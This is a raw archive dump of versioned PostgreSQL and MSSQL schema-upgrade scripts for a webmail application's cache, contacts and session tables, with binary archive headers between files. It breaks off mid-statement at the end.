DROP TABLE messages;

CREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    valid smallint NOT NULL DEFAULT 0,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX cache_index_changed_idx ON cache_index (changed);

CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX cache_thread_changed_idx ON cache_thread (changed);

CREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT 0,
    PRIMARY KEY (user_id, mailbox, uid)
);

CREATE INDEX cache_messages_changed_idx ON cache_messages (changed);
PKh�\ҁ��UUSQL/postgres/2013011000.sqlnu�[���CREATE TABLE "system" (
    name varchar(64) NOT NULL PRIMARY KEY,
    value text
);
PKh�\�ʼnrSQL/postgres/2008030300.sqlnu�[���-- Updates from version 0.1-stable to 0.1.1

CREATE INDEX cache_user_id_idx ON cache (user_id, cache_key);
CREATE INDEX contacts_user_id_idx ON contacts (user_id);
CREATE INDEX identities_user_id_idx ON identities (user_id);

CREATE INDEX users_username_id_idx ON users (username);
CREATE INDEX users_alias_id_idx ON users (alias);

-- added ON DELETE/UPDATE actions
ALTER TABLE messages DROP CONSTRAINT messages_user_id_fkey;
ALTER TABLE messages ADD FOREIGN KEY (user_id) REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE identities DROP CONSTRAINT identities_user_id_fkey;
ALTER TABLE identities ADD FOREIGN KEY (user_id) REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE contacts DROP CONSTRAINT contacts_user_id_fkey;
ALTER TABLE contacts ADD FOREIGN KEY (user_id) REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE cache DROP CONSTRAINT cache_user_id_fkey;
ALTER TABLE cache ADD FOREIGN KEY (user_id) REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE;
PKh�\d��|��SQL/postgres/2009090400.sqlnu�[���-- Updates from version 0.3-stable

TRUNCATE messages;
CREATE INDEX messages_index_idx ON messages (user_id, cache_key, idx);
DROP INDEX contacts_user_id_idx;
CREATE INDEX contacts_user_id_idx ON contacts (user_id, email);
PKh�\�ђ�ffSQL/postgres/2016112200.sqlnu�[���DROP TABLE "cache";
DROP TABLE "cache_shared";

CREATE TABLE "cache" (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    cache_key varchar(128) DEFAULT '' NOT NULL,
    expires timestamp with time zone DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, cache_key)
);

CREATE INDEX cache_expires_idx ON "cache" (expires);

CREATE TABLE "cache_shared" (
    cache_key varchar(255) NOT NULL PRIMARY KEY,
    expires timestamp with time zone DEFAULT NULL,
    data text NOT NULL
);

CREATE INDEX cache_shared_expires_idx ON "cache_shared" (expires);
PKh�\����11SQL/postgres/2013061000.sqlnu�[���ALTER TABLE "cache" ADD expires timestamp with time zone DEFAULT NULL;
ALTER TABLE "cache_shared" ADD expires timestamp with time zone DEFAULT NULL;
ALTER TABLE "cache_index" ADD expires timestamp with time zone DEFAULT NULL;
ALTER TABLE "cache_thread" ADD expires timestamp with time zone DEFAULT NULL;
ALTER TABLE "cache_messages" ADD expires timestamp with time zone DEFAULT NULL;

-- initialize expires column with created/changed date + 7days
UPDATE "cache" SET expires = created + interval '604800 seconds';
UPDATE "cache_shared" SET expires = created + interval '604800 seconds';
UPDATE "cache_index" SET expires = changed + interval '604800 seconds';
UPDATE "cache_thread" SET expires = changed + interval '604800 seconds';
UPDATE "cache_messages" SET expires = changed + interval '604800 seconds';

DROP INDEX cache_created_idx;
DROP INDEX cache_shared_created_idx;
ALTER TABLE "cache_index" DROP "changed";
ALTER TABLE "cache_thread" DROP "changed";
ALTER TABLE "cache_messages" DROP "changed";

CREATE INDEX cache_expires_idx ON "cache" (expires);
CREATE INDEX cache_shared_expires_idx ON "cache_shared" (expires);
CREATE INDEX cache_index_expires_idx ON "cache_index" (expires);
CREATE INDEX cache_thread_expires_idx ON "cache_thread" (expires);
CREATE INDEX cache_messages_expires_idx ON "cache_messages" (expires);
PKh�\fs��SQL/postgres/2020122900.sqlnu�[���ALTER TABLE "users" ALTER COLUMN "preferences" DROP NOT NULL;
ALTER TABLE "users" ALTER COLUMN "preferences" SET DEFAULT NULL;
PKh�\]?rSQL/postgres/2015030800.sqlnu�[���-- emptyPKh�\d\�UUSQL/postgres/2018122300.sqlnu�[���ALTER TABLE "filestore" ADD COLUMN context varchar(32);
UPDATE "filestore" SET context = 'enigma';
ALTER TABLE "filestore" ALTER COLUMN context SET NOT NULL;
ALTER TABLE "filestore" DROP CONSTRAINT "filestore_user_id_filename";
ALTER TABLE "filestore" ADD CONSTRAINT "filestore_user_id_context_filename" UNIQUE (user_id, context, filename);
PKh�\�Gމ�SQL/postgres/2010042300.sqlnu�[���-- Updates from version 0.4-beta

ALTER TABLE users ALTER last_login DROP NOT NULL;
ALTER TABLE users ALTER last_login SET DEFAULT NULL;
PKh�\��o ��SQL/postgres/2011121400.sqlnu�[���-- Updates from version 0.7

DROP INDEX contacts_user_id_idx;
CREATE INDEX contacts_user_id_idx ON contacts USING btree (user_id, del);
ALTER TABLE contacts ALTER email TYPE text;
PKh�\0\~�bbSQL/postgres/2022081200.sqlnu�[���DROP INDEX responses_user_id_idx;
CREATE INDEX responses_user_id_idx ON responses (user_id, del);
PKh�\<�����SQL/postgres/2008092100.sqlnu�[���-- Updates from version 0.2-beta

ALTER TABLE cache DROP session_id;

CREATE INDEX session_changed_idx ON session (changed);
CREATE INDEX cache_created_idx ON "cache" (created);

ALTER TABLE users ALTER "language" DROP NOT NULL;
ALTER TABLE users ALTER "language" DROP DEFAULT;

ALTER TABLE identities ALTER del TYPE smallint;
ALTER TABLE identities ALTER standard TYPE smallint;
ALTER TABLE contacts ALTER del TYPE smallint;
ALTER TABLE messages ALTER del TYPE smallint;
PKh�\���=%%SQL/postgres/2013052500.sqlnu�[���CREATE TABLE "cache_shared" (
    cache_key varchar(255) NOT NULL,
    created timestamp with time zone DEFAULT now() NOT NULL,
    data text NOT NULL
);

CREATE INDEX cache_shared_cache_key_idx ON "cache_shared" (cache_key);
CREATE INDEX cache_shared_created_idx ON "cache_shared" (created);
PKh�\�.�p��SQL/postgres/2011011200.sqlnu�[���-- Updates from version 0.5.x

ALTER TABLE contacts ADD words TEXT NULL;
CREATE INDEX contactgroupmembers_contact_id_idx ON contactgroupmembers (contact_id);

TRUNCATE messages;
TRUNCATE cache;
PKh�\]?rSQL/postgres/2020020101.sqlnu�[���-- emptyPKh�\,���SQL/postgres/2020020100.sqlnu�[���ALTER TABLE "dictionary" ALTER COLUMN "language" TYPE varchar(16);
ALTER TABLE "users" ALTER COLUMN "language" TYPE varchar(16);
PKh�\�I�\\SQL/postgres/2008060900.sqlnu�[���-- Updates from version 0.2-alpha

CREATE INDEX messages_created_idx ON messages (created);
PKh�\�=���SQL/postgres/2021081000.sqlnu�[���CREATE SEQUENCE responses_seq
    START WITH 1
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

CREATE TABLE responses (
    response_id integer DEFAULT nextval('responses_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    del smallint DEFAULT 0 NOT NULL,
    name varchar(255) NOT NULL,
    data text NOT NULL,
    is_html smallint DEFAULT 0 NOT NULL
);

CREATE UNIQUE INDEX responses_user_id_idx ON responses (user_id, del);

ALTER TABLE identities ALTER html_signature TYPE smallint;
PKh�\w��++SQL/postgres/2016081200.sqlnu�[���ALTER TABLE "session" DROP COLUMN created;
PKh�\�0��YYSQL/postgres/2011111600.sqlnu�[���-- Updates from version 0.7-beta

ALTER TABLE "session" ALTER sess_id TYPE varchar(128);
PKh�\ĉy���SQL/postgres/2012080700.sqlnu�[���-- Updates from version 0.8

ALTER TABLE cache DROP COLUMN cache_id;
DROP SEQUENCE cache_ids;

ALTER TABLE users DROP COLUMN alias;
CREATE INDEX identities_email_idx ON identities (email, del);
PKh�\]?rSQL/postgres/2019092900.sqlnu�[���-- emptyPKh�\~5�GSQL/postgres/2021100300.sqlnu�[���-- SQLite onlyPKh�\|�����SQL/postgres/2010100600.sqlnu�[���-- Updates from version 0.4.2

DROP INDEX users_username_id_idx;
ALTER TABLE users ADD CONSTRAINT users_username_key UNIQUE (username, mail_host);
ALTER TABLE contacts ALTER email TYPE varchar(255);

TRUNCATE messages;
PKh�\z2��SQL/postgres/2015111100.sqlnu�[���ALTER TABLE "users" ADD failed_login timestamp with time zone DEFAULT NULL;
ALTER TABLE "users" ADD failed_login_counter integer DEFAULT NULL;
PKh�\]?rSQL/postgres/2014042900.sqlnu�[���-- emptyPKh�\�����SQL/mssql/2018021600.sqlnu�[���CREATE TABLE [dbo].[filestore] (
	[file_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[filename] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[mtime] [int] NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NULL ,
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[filestore] WITH NOCHECK ADD 
	CONSTRAINT [PK_filestore_file_id] PRIMARY KEY  CLUSTERED 
	(
		[file_id]
	) ON [PRIMARY] 
GO

CREATE INDEX [IX_filestore_user_id] ON [dbo].[filestore]([user_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[filestore] ADD CONSTRAINT [FK_filestore_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

PKh�\]?rSQL/mssql/2013042700.sqlnu�[���-- emptyPKh�\AU����SQL/mssql/2009103100.sqlnu�[���-- Updates from version 0.3.1

ALTER TABLE [dbo].[messages] ADD CONSTRAINT [FK_messages_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[cache] ADD CONSTRAINT [FK_cache_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[contacts] ADD CONSTRAINT [FK_contacts_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[identities] ADD CONSTRAINT [FK_identities_user_id] 
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[identities] ADD [changed] [datetime] NULL 
GO

CREATE TABLE [dbo].[contactgroups] (
	[contactgroup_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[del] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[name] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL
) ON [PRIMARY] 
GO

CREATE TABLE [dbo].[contactgroupmembers] (
	[contactgroup_id] [int] NOT NULL ,
	[contact_id] [int] NOT NULL ,
	[created] [datetime] NOT NULL
) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[contactgroups] WITH NOCHECK ADD 
	CONSTRAINT [PK_contactgroups_contactgroup_id] PRIMARY KEY CLUSTERED 
	(
		[contactgroup_id]
	)  ON [PRIMARY] 
GO

ALTER TABLE [dbo].[contactgroupmembers] WITH NOCHECK ADD 
	CONSTRAINT [PK_contactgroupmembers_id] PRIMARY KEY CLUSTERED 
	(
		[contactgroup_id], [contact_id]
	)  ON [PRIMARY] 
GO

ALTER TABLE [dbo].[contactgroups] ADD 
	CONSTRAINT [DF_contactgroups_user_id] DEFAULT (0) FOR [user_id],
	CONSTRAINT [DF_contactgroups_changed] DEFAULT (getdate()) FOR [changed],
	CONSTRAINT [DF_contactgroups_del] DEFAULT ('0') FOR [del],
	CONSTRAINT [DF_contactgroups_name] DEFAULT ('') FOR [name],
	CONSTRAINT [CK_contactgroups_del] CHECK ([del] = '1' or [del] = '0')
GO

CREATE  INDEX [IX_contactgroups_user_id] ON [dbo].[contacts]([user_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[contactgroupmembers] ADD 
	CONSTRAINT [DF_contactgroupmembers_contactgroup_id] DEFAULT (0) FOR [contactgroup_id],
	CONSTRAINT [DF_contactgroupmembers_contact_id] DEFAULT (0) FOR [contact_id],
	CONSTRAINT [DF_contactgroupmembers_created] DEFAULT (getdate()) FOR [created]
GO

ALTER TABLE [dbo].[contactgroupmembers] ADD CONSTRAINT [FK_contactgroupmembers_contactgroup_id]
    FOREIGN KEY ([contactgroup_id]) REFERENCES [dbo].[contactgroups] ([contactgroup_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

CREATE TRIGGER [contact_delete_member] ON [dbo].[contacts]
    AFTER DELETE AS
    DELETE FROM [dbo].[contactgroupmembers]
    WHERE [contact_id] IN (SELECT [contact_id] FROM deleted)
GO

ALTER TABLE [dbo].[contactgroups] ADD CONSTRAINT [FK_contactgroups_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO
PKh�\	�h�ffSQL/mssql/2016100900.sqlnu�[���ALTER TABLE [dbo].[session] ALTER COLUMN [ip] [varchar] (40) COLLATE Latin1_General_CI_AI NOT NULL
GO
PKh�\�c
/SQL/mssql/2012051800.sqlnu�[���-- Updates from version 0.8-rc

ALTER TABLE [dbo].[contacts] DROP CONSTRAINT [DF_contacts_email]
GO
ALTER TABLE [dbo].[contacts] ALTER COLUMN [email] [varchar] (8000) COLLATE Latin1_General_CI_AI NOT NULL
GO
ALTER TABLE [dbo].[contacts] ADD CONSTRAINT [DF_contacts_email] DEFAULT ('') FOR [email]
GO

-- Updates from version 0.8

ALTER TABLE [dbo].[cache] DROP COLUMN [cache_id]
GO
ALTER TABLE [dbo].[users] DROP COLUMN [alias]
GO
CREATE INDEX [IX_identities_email] ON [dbo].[identities]([email],[del]) ON [PRIMARY]
GO

PKh�\�#�VrrSQL/mssql/2020091000.sqlnu�[���CREATE TABLE [dbo].[collected_addresses] (
	[address_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[name] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL ,
	[email] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL ,
	[type] [int] NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[collected_addresses] WITH NOCHECK ADD 
	CONSTRAINT [PK_collected_addresses_address_id] PRIMARY KEY  CLUSTERED 
	(
		[address_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[collected_addresses] ADD 
	CONSTRAINT [DF_collected_addresses_user_id] DEFAULT (0) FOR [user_id],
	CONSTRAINT [DF_collected_addresses_changed] DEFAULT (getdate()) FOR [changed],
	CONSTRAINT [DF_collected_addresses_name] DEFAULT ('') FOR [name],
GO

CREATE UNIQUE INDEX [IX_collected_addresses_user_id] ON [dbo].[collected_addresses]([user_id],[type],[email]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[collected_addresses] ADD CONSTRAINT [FK_collected_addresses_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

PKh�\�U��vvSQL/mssql/2011092800.sqlnu�[���-- Updates from version 0.6

CREATE TABLE [dbo].[dictionary] (
    [user_id] [int] ,
    [language] [varchar] (5) COLLATE Latin1_General_CI_AI NOT NULL ,
    [data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO
CREATE  UNIQUE INDEX [IX_dictionary_user_language] ON [dbo].[dictionary]([user_id],[language]) ON [PRIMARY]
GO

CREATE TABLE [dbo].[searches] (
	[search_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[type] [tinyint] NOT NULL ,
	[name] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[searches] WITH NOCHECK ADD 
	CONSTRAINT [PK_searches_search_id] PRIMARY KEY CLUSTERED 
	(
		[search_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[searches] ADD 
	CONSTRAINT [DF_searches_user] DEFAULT (0) FOR [user_id],
	CONSTRAINT [DF_searches_type] DEFAULT (0) FOR [type],
GO

CREATE UNIQUE INDEX [IX_searches_user_type_name] ON [dbo].[searches]([user_id],[type],[name]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[searches] ADD CONSTRAINT [FK_searches_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

DROP TABLE [dbo].[messages]
GO
CREATE TABLE [dbo].[cache_index] (
	[user_id] [int] NOT NULL ,
	[mailbox] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[valid] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[cache_thread] (
	[user_id] [int] NOT NULL ,
	[mailbox] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[cache_messages] (
	[user_id] [int] NOT NULL ,
	[mailbox] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[uid] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL ,
	[flags] [int] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[cache_index] WITH NOCHECK ADD 
	 PRIMARY KEY CLUSTERED 
	(
		[user_id],[mailbox]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[cache_thread] WITH NOCHECK ADD 
	 PRIMARY KEY CLUSTERED 
	(
		[user_id],[mailbox]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[cache_messages] WITH NOCHECK ADD 
	 PRIMARY KEY CLUSTERED 
	(
		[user_id],[mailbox],[uid]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[cache_index] ADD 
	CONSTRAINT [DF_cache_index_changed] DEFAULT (getdate()) FOR [changed],
	CONSTRAINT [DF_cache_index_valid] DEFAULT ('0') FOR [valid]
GO

CREATE  INDEX [IX_cache_index_user_id] ON [dbo].[cache_index]([user_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[cache_thread] ADD 
	CONSTRAINT [DF_cache_thread_changed] DEFAULT (getdate()) FOR [changed]
GO

CREATE  INDEX [IX_cache_thread_user_id] ON [dbo].[cache_thread]([user_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[cache_messages] ADD 
	CONSTRAINT [DF_cache_messages_changed] DEFAULT (getdate()) FOR [changed],
	CONSTRAINT [DF_cache_messages_flags] DEFAULT (0) FOR [flags]
GO

CREATE  INDEX [IX_cache_messages_user_id] ON [dbo].[cache_messages]([user_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[cache_index] ADD CONSTRAINT [FK_cache_index_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[cache_thread] ADD CONSTRAINT [FK_cache_thread_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[cache_messages] ADD CONSTRAINT [FK_cache_messages_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO
PKh�\�#�RooSQL/mssql/2013011000.sqlnu�[���-- Upgrades from 0.9-beta

CREATE TABLE [dbo].[system] (
    [name] [varchar] (64) COLLATE Latin1_General_CI_AI NOT NULL ,
    [value] [text] COLLATE Latin1_General_CI_AI 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[system] WITH NOCHECK ADD
    CONSTRAINT [PK_system_name] PRIMARY KEY CLUSTERED
    (
        [name]
    ) ON [PRIMARY]
GO
PKh�\��>KKSQL/mssql/2016112200.sqlnu�[���DROP TABLE [dbo].[cache]
GO
DROP TABLE [dbo].[cache_shared]
GO

CREATE TABLE [dbo].[cache] (
  [user_id] [int] NOT NULL ,
  [cache_key] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
  [expires] [datetime] NULL ,
  [data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO
CREATE TABLE [dbo].[cache_shared] (
  [cache_key] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL ,
  [expires] [datetime] NULL ,
  [data] [text] COLLATE Latin1_General_CI_AI NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO
ALTER TABLE [dbo].[cache] ADD
  CONSTRAINT [DF_cache_user_id] DEFAULT ('0') FOR [user_id],
  CONSTRAINT [DF_cache_cache_key] DEFAULT ('') FOR [cache_key]
GO
CREATE INDEX [IX_cache_expires] ON [dbo].[cache]([expires]) ON [PRIMARY]
GO
CREATE INDEX [IX_cache_shared_expires] ON [dbo].[cache_shared]([expires]) ON [PRIMARY]
GO
ALTER TABLE [dbo].[cache] WITH NOCHECK ADD
  PRIMARY KEY CLUSTERED (
    [user_id],[cache_key]
  ) ON [PRIMARY]
GO
ALTER TABLE [dbo].[cache_shared] WITH NOCHECK ADD
  PRIMARY KEY CLUSTERED (
    [cache_key]
  ) ON [PRIMARY]
GO
PKh�\�����SQL/mssql/2013061000.sqlnu�[���ALTER TABLE [dbo].[cache] ADD [expires] [datetime] NULL
GO
ALTER TABLE [dbo].[cache_shared] ADD [expires] [datetime] NULL
GO
ALTER TABLE [dbo].[cache_index] ADD [expires] [datetime] NULL
GO
ALTER TABLE [dbo].[cache_thread] ADD [expires] [datetime] NULL
GO
ALTER TABLE [dbo].[cache_messages] ADD [expires] [datetime] NULL
GO

UPDATE [dbo].[cache] SET [expires] = DATEADD(second, 604800, [created])
GO
UPDATE [dbo].[cache_shared] SET [expires] = DATEADD(second, 604800, [created])
GO
UPDATE [dbo].[cache_index] SET [expires] = DATEADD(second, 604800, [changed])
GO
UPDATE [dbo].[cache_thread] SET [expires] = DATEADD(second, 604800, [changed])
GO
UPDATE [dbo].[cache_messages] SET [expires] = DATEADD(second, 604800, [changed])
GO

DROP INDEX [IX_cache_created]
GO
DROP INDEX [IX_cache_shared_created]
GO
ALTER TABLE [dbo].[cache_index] DROP COLUMN [changed]
GO
ALTER TABLE [dbo].[cache_thread] DROP COLUMN [changed]
GO
ALTER TABLE [dbo].[cache_messages] DROP COLUMN [changed]
GO

CREATE INDEX [IX_cache_expires] ON [dbo].[cache]([expires]) ON [PRIMARY]
GO
CREATE INDEX [IX_cache_shared_expires] ON [dbo].[cache_shared]([expires]) ON [PRIMARY]
GO
CREATE INDEX [IX_cache_index_expires] ON [dbo].[cache_index]([expires]) ON [PRIMARY]
GO
CREATE INDEX [IX_cache_thread_expires] ON [dbo].[cache_thread]([expires]) ON [PRIMARY]
GO
CREATE INDEX [IX_cache_messages_expires] ON [dbo].[cache_messages]([expires]) ON [PRIMARY]
GO

PKh�\[�&SQL/mssql/2020122900.sqlnu�[���--emptyPKh�\]?rSQL/mssql/2015030800.sqlnu�[���-- emptyPKh�\�+��##SQL/mssql/2018122300.sqlnu�[���ALTER TABLE [dbo].[filestore] ADD [context] varchar(32) COLLATE Latin1_General_CI_AI NOT NULL
GO

UPDATE [dbo].[filestore] SET [context] = 'enigma'
GO

CREATE UNIQUE INDEX [IX_filestore_user_id_context_filename] ON [dbo].[filestore]([user_id],[context],[filename]) ON [PRIMARY]
GO

PKh�\�@LM((SQL/mssql/2011121400.sqlnu�[���-- Updates from version 0.7

ALTER TABLE [dbo].[contacts] DROP CONSTRAINT [DF_contacts_email]
GO
ALTER TABLE [dbo].[contacts] ALTER COLUMN [email] [text] COLLATE Latin1_General_CI_AI NOT NULL
GO
ALTER TABLE [dbo].[contacts] ADD CONSTRAINT [DF_contacts_email] DEFAULT ('') FOR [email]
GO

PKh�\y5u�SQL/mssql/2022081200.sqlnu�[���-- SQLite/Postgres onlyPKh�\J�s�))SQL/mssql/2013052500.sqlnu�[���CREATE TABLE [dbo].[cache_shared] (
	[cache_key] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL ,
	[created] [datetime] NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[cache_shared] ADD 
	CONSTRAINT [DF_cache_shared_created] DEFAULT (getdate()) FOR [created]
GO

CREATE  INDEX [IX_cache_shared_cache_key] ON [dbo].[cache_shared]([cache_key]) ON [PRIMARY]
GO

CREATE  INDEX [IX_cache_shared_created] ON [dbo].[cache_shared]([created]) ON [PRIMARY]
GO

PKh�\��/**SQL/mssql/2011011200.sqlnu�[���-- Updates from version 0.5.x

ALTER TABLE [dbo].[contacts] ADD [words] [text] COLLATE Latin1_General_CI_AI NULL 
GO
CREATE INDEX [IX_contactgroupmembers_contact_id] ON [dbo].[contactgroupmembers]([contact_id]) ON [PRIMARY]
GO
DELETE FROM [dbo].[messages]
GO
DELETE FROM [dbo].[cache]
GO
PKh�\]?rSQL/mssql/2020020101.sqlnu�[���-- emptyPKh�\��"��SQL/mssql/2020020100.sqlnu�[���ALTER TABLE [dbo].[users] ALTER COLUMN [language] [varchar] (16) COLLATE Latin1_General_CI_AI NULL
GO
ALTER TABLE [dbo].[dictionary] ALTER COLUMN [language] [varchar] (16) COLLATE Latin1_General_CI_AI NOT NULL
GO
PKh�\�e�QkkSQL/mssql/2021081000.sqlnu�[���CREATE TABLE [dbo].[responses] (
	[response_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[del] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[name] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL, 
	[is_html] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[responses] WITH NOCHECK ADD 
	 PRIMARY KEY  CLUSTERED 
	(
		[response_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[responses] ADD 
	CONSTRAINT [DF_responses_user] DEFAULT ('0') FOR [user_id],
	CONSTRAINT [DF_responses_del] DEFAULT ('0') FOR [del],
	CONSTRAINT [DF_responses_is_html] DEFAULT ('0') FOR [is_html],
	CHECK ([del] = '1' or [del] = '0'),
	CHECK ([is_html] = '1' or [is_html] = '0')
GO

CREATE INDEX [IX_responses_user_id] ON [dbo].[responses]([user_id]) ON [PRIMARY]
GO
ALTER TABLE [dbo].[responses] ADD CONSTRAINT [FK_responses_user_id] 
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

PKh�\'�y!SQL/mssql/2016081200.sqlnu�[���ALTER TABLE [dbo].[session] DROP CONSTRAINT [DF_session_created]
GO

ALTER TABLE [dbo].[session] DROP COLUMN [created]
GO
PKh�\�6��SQL/mssql/2011111600.sqlnu�[���-- Updates from version 0.7-beta

ALTER TABLE [dbo].[session] ALTER COLUMN [sess_id] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL
GO
PKh�\�?g���SQL/mssql/2012080700.sqlnu�[���-- Updates from version 0.8

ALTER TABLE [dbo].[cache] DROP COLUMN [cache_id]
GO
ALTER TABLE [dbo].[users] DROP COLUMN [alias]
GO
CREATE INDEX [IX_identities_email] ON [dbo].[identities]([email],[del]) ON [PRIMARY]
GO
PKh�\(4�3��SQL/mssql/2019092900.sqlnu�[���ALTER TABLE [dbo].[cache] ALTER COLUMN
	[cache_key] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL
GO
ALTER TABLE [dbo].[cache_shared] ALTER COLUMN
